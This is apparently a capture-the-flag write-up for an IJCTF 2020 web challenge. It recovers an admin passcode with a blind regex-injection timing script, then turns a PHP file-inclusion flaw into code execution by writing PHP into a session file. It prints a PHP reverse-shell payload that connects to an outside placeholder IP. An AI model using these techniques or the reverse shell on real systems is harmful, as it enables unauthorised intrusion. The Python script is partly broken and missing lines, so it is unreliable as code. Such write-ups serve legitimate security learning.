IJCTF 2020



by stackola

run /flag
flag format: ijctf{}
No rockyou or raw bruteforce.
Bruteforce is only allowed with some technics like "Blind Sql Injection"
But payload has to be not too long.
Too long will kill server.
Tip: I like php. and I saw the admin's passcode ends with "de"
Author: sqrtrev

Visiting the URL, all we get is Under Construction

The source

The challenge author provided us with a zip file containing the programms source code. One thing became clear quickly: All interesting endpoints require you to be admin. This can only be achieved by sucessfully calling /auth with the right passcode.

Looking at the code, I immediately thought of blind regex injection, due to the strange way the password is checked:

if (typeof passcode == "string" && !secret.search(passcode) && secret === passcode) Also, I remembered reading that the last 2 letters are very hard to extract via regex, but as if by chance, they are given in the challenge. This solidified my plan of using ReDoS to extract the password.

Step 1: Getting the password.

After some research, I found a script that was almost perfect for this application: https://diary.shift-js.info/blind-regular-expression-injection/

After a small amount of modifications, this is the script I used:

import socket
import sys
import time
import random
import string
import urllib
import requests
import re

# constants

# predicates
def length_in(i, j):
    return ".{" + str(i) + "," + str(j) + "}[CONTENT]quot;

def nth_char_in(n, S):
    return ".{" + str(n-1) + "}[" + ''.join(list(map(re.escape, S))) + "].*[CONTENT]quot;

# utilities
def redos_if(regexp, salt):
    return "^(?={})((.*)*)*{}".format(regexp, salt)

def get_request_duration(payload):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    p = urllib.quote(payload)
        _start = time.time()
        _end = time.time()
        duration = _end - _start
        print "oof"
        duration = -1
    return duration

def prop_holds(prop, salt):
    return get_request_duration(redos_if(prop, salt)) > THRESHOLD

def generate_salt():
    return ''.join([random.choice(string.ascii_letters) for i in range(10)])

# generating salt
salt = generate_salt()
while not prop_holds('.*', salt):
    salt = generate_salt()
print("[+] salt: {}".format(salt))

# leak length
lower_bound = 10
upper_bound = 20
while lower_bound != upper_bound:
    m = (lower_bound + upper_bound) // 2
    if prop_holds(length_in(lower_bound, m), salt):
        upper_bound = m
        lower_bound = m + 1
    print("[*] {}, {}".format(lower_bound, upper_bound))
secret_length = lower_bound # = upper_bound    
print("[+] length: {}".format(secret_length))
# leak secret
S = string.printable
secret = ""
for i in range(0, secret_length):
    lower_bound = 0
    upper_bound = len(S)-1
    while lower_bound != upper_bound:
        m = (lower_bound + upper_bound) // 2
        if prop_holds(nth_char_in(i+1, S[lower_bound:(m+1)]), salt):
            upper_bound = m
            lower_bound = m + 1
    secret += S[lower_bound]
    print("[*] {}".format(secret))        
print("[+] secret: {}".format(secret))

After around 10 minutes, the passcode was almost completely extracted: Sup3r-P4ss-??de

The remaing 2 letters I bruteforced using the /auth endpoint. Final password: Sup3r-P4ss-C0de

Step 2: the Tunnel

Now that we have admin rights, we can look at the other functions in the code. One that immediately seemed interesting was /tunnel, which tunnels your request to a php script running on localhost.

	app.get('/tunnel', function(req, res){
		var session = req.session;

		if(typeof session.isAdmin == "boolean" && session.isAdmin){
			var param = req.query;
			if(typeof param.dir == 'undefined') param.dir = '';
			request = require('request');
			request.get('http://localhost/?dir='+param.dir, function callback(err, resp, body){
				var result = body;
			res.end("Permission Error");

As per the challenge description, this php service uses include to include the file you pass via the dir parameter.

Playing around with this, I quickly find the obvious LFI vulnerability:

Great. We can include (and execute) any php file we find on the server. Now the search began. I wanted escalating the LFI to RCE/shell, so I could run /flag. Sadly, all common LFI->RCE methods I found did not work. It seems like we have to create the file containing our PHP-Exploit ourselfs.

Looking at the obvious way to create files:

    app.put('/put', function(req, res){
		var session = req.session;
		if(typeof session.isAdmin == "boolean" && session.isAdmin){
			var filename = Buffer.from(rand.random(16)).toString('hex');
			var contents = req.query.contents;
			if(typeof contents == "undefined"){
				res.end('Param Error');
			}else if(contents.match(/ELF/gi)){
				res.end('Forbidden String');
				var dir = './uploads/'+session.id;

				!fs.existsSync(dir) && fs.mkdirSync(dir);
				fs.writeFileSync(dir+'/'+filename+'.txt', contents);
			res.end('Permission Error');

This seemed promising at first. We do know the user's session id. But sadly, we found no way to do a directory listing, meaning we would never be able to find out the filename of our uploaded file.

Break through

After at least an hour of playing around with PHP lfi, I went back to the source and spotted this:

	app.get('/:dir', function(req, res){
		var session = req.session;
		session.log = req.params.dir;
		res.statusCode = 404;
		res.end('404 Error');

This seems like a way to write arbitrary content to the users session. Messing around with the server locally, I figured out that the user's session file is stored in ___dirname/sessions/[session_id].json

For the server, this was /var/www/nod_nod/sessions/[session_id].json

Using the PHP LFI, I treid to include my own session file, and that actually worked!:


Admin Fileviewer(using include)

Now we try calling that :dir path, to arbitrarily write things into that json file.

Now including the JSON file again, we get this:

Admin Fileviewer(using include)

Great! Our text is reflected in that file.

Next up I try putting PHP into that JSON file: (Payload: <?php echo(2*2*2);?>)

Calling the LFI again to verify:

Admin Fileviewer(using include)

Awesome! Our PHP code was executed, 2*2*2 was replaced by 8.

Now I tried to see what dangerous PHP functions we have access to. The answer: exec

Putting it all together.

Our goal is to get a shell so we can run /flag. To accomplish this, we have access to php's exec

Payload for a reverse PHP shell:

<?php $sock = fsockopen('IP.IP.IP.IP', PORT); $proc = proc_open('/bin/sh -i', array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);?>

Writing the PHP reverse shell to the user's session file:

Executing the PHP code on the server using out LFI vulnerability:

This resulted in an incoming reverse shell connection on or own server.

Getting the flag from here was easy:

$ cd /
$ ./flag
-> ijctf{Cool,,The_best_1s_0nly_use_nodejs_or_PhP}